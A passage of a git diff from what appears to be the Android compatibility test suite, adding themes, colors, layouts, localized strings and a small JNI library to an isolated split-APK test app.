+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_B" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themeSecondaryColor">@color/theme_secondary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_b_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
index 421ce55..ceef1dd 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_b_string">Feature B String Default</string>
+    <string name="theme_name">Feature B Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
index 038555d..b5c3ad0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_b;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.feature_a.FeatureAActivity;
 
 public class FeatureBActivity extends FeatureAActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_b_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
index f5c109d..bf0adb4 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureC",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index 012543b..4bbc9ce 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_c"
-        featureSplit="feature_c"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_c"
+     featureSplit="feature_c"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name=".FeatureCActivity">
+        <activity android:name=".FeatureCActivity" android:theme="@style/Theme_Feature_C"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureCReceiver">
+        <receiver android:name=".FeatureCReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml
new file mode 100644
index 0000000..1bc19ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeTertiaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml
new file mode 100644
index 0000000..a69eceb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_c_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_c_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml
new file mode 100644
index 0000000..086261e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/olive</color>
+    <color name="theme_tertiary_color">@color/navy</color>
+    <color name="theme_color_background">@color/magenta</color>
+    <color name="navigation_bar_color">@color/maroon</color>
+    <color name="status_bar_color">@color/cyan</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
index 2ab54a8..e8c2850 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_c_string">Feature C String Polish</string>
+    <string name="theme_name">Feature C Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml
new file mode 100644
index 0000000..007706d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeTertiaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml
new file mode 100644
index 0000000..3bad5b3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/cyan</color>
+    <color name="theme_tertiary_color">@color/magenta</color>
+    <color name="theme_color_background">@color/maroon</color>
+    <color name="navigation_bar_color">@color/navy</color>
+    <color name="status_bar_color">@color/olive</color>
+
+    <color name="cyan">#ff00ffff</color>
+    <color name="magenta">#ffff00ff</color>
+    <color name="maroon">#ff800000</color>
+    <color name="navy">#ff000080</color>
+    <color name="olive">#ff808000</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml
new file mode 100644
index 0000000..2dc1a3e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_C" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themeTertiaryColor">@color/theme_tertiary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_c_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
index 09f48ad..248e53b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_c_string">Feature C String Default</string>
+    <string name="theme_name">Feature C Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
index dab09a8..e97fd89 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_c;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.BaseActivity;
 
 public class FeatureCActivity extends BaseActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_c_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
new file mode 100644
index 0000000..967424c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
@@ -0,0 +1,58 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libsplitappjni_isolated",
+    defaults: ["split_native_defaults"],
+    header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
+    srcs: ["jni/com_android_cts_isolatedsplitapp_Native.cpp"],
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_isolated_defaults",
+    compile_multilib: "both",
+
+    // TODO(b/179744452): Please add the following properties in individual modules because these
+    //                    properties can't inherit from java_defaults.
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split with extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split without extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
new file mode 100644
index 0000000..c0d9dff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_jni_split">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
new file mode 100644
index 0000000..19b5e5b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "IsolatedSplitApp"
+
+#include <android/log.h>
+#include <stdio.h>
+
+#include "jni.h"
+
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+
+static jint add(JNIEnv* env, jobject thiz, jint numA, jint numB) {
+    return numA + numB;
+}
+
+static const char* classPathName = "com/android/cts/isolatedsplitapp/Native";
+
+static JNINativeMethod methods[] = {
+        {"add", "(II)I", reinterpret_cast<void*>(add)},
+};
+
+static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods,
+                                 int numMethods) {
+    jclass clazz;
+
+    clazz = env->FindClass(className);
+    if (clazz == NULL) {
+        LOGE("Native registration unable to find class '%s'", className);
+        return JNI_FALSE;
+    }
+    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
+        LOGE("RegisterNatives failed for '%s'", className);
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+static int registerNatives(JNIEnv* env) {
+    if (!registerNativeMethods(env, classPathName, methods, sizeof(methods) / sizeof(methods[0]))) {
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+jint JNI_OnLoad(JavaVM* vm, void* reserved) {
+    JNIEnv* env = NULL;
+
+    LOGI("JNI_OnLoad %s", classPathName);
+
+    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
+        LOGE("ERROR: GetEnv failed");
+        return JNI_ERR;
+    }
+
+    if (registerNatives(env) != JNI_TRUE) {
+        LOGE("ERROR: registerNatives failed");
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_6;
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..b9382ae
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeBaseColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..191266a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/base_layout"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:background="?attr/themeBaseColor">
+</LinearLayout>
+
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml
new file mode 100644
index 0000000..e2a6512
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/colors.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/green</color>
+    <color name="navigation_bar_color">@color/black</color>
+    <color name="status_bar_color">@color/red</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
index a2b389d..457709d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="base_string">Base String Polish</string>
+    <string name="theme_name">Base Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..d657844
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/attrs.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeName" format="string"/>
+    <attr name="themeBaseColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml
new file mode 100644
index 0000000..3e19b55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/black</color>
+    <color name="navigation_bar_color">@color/red</color>
+    <color name="status_bar_color">@color/green</color>
+
+    <color name="black">#ff000000</color>
+    <color name="red">#ffff0000</color>
+    <color name="green">#ff00ff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml
new file mode 100644
index 0000000..0b43b0a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/public.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <public name="Theme_Base" type="style"/>
+    <public name="themeName" type="attr"/>
+    <public name="themeBaseColor" type="attr"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml
new file mode 100644
index 0000000..305edf5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="themeName">@string/theme_name</item>
+        <item name="themeBaseColor">@color/theme_base_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
index da33f0b..ec07804 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="base_string">Base String Default</string>
+    <string name="theme_name">Base Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
index e0fafc6..421fab0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
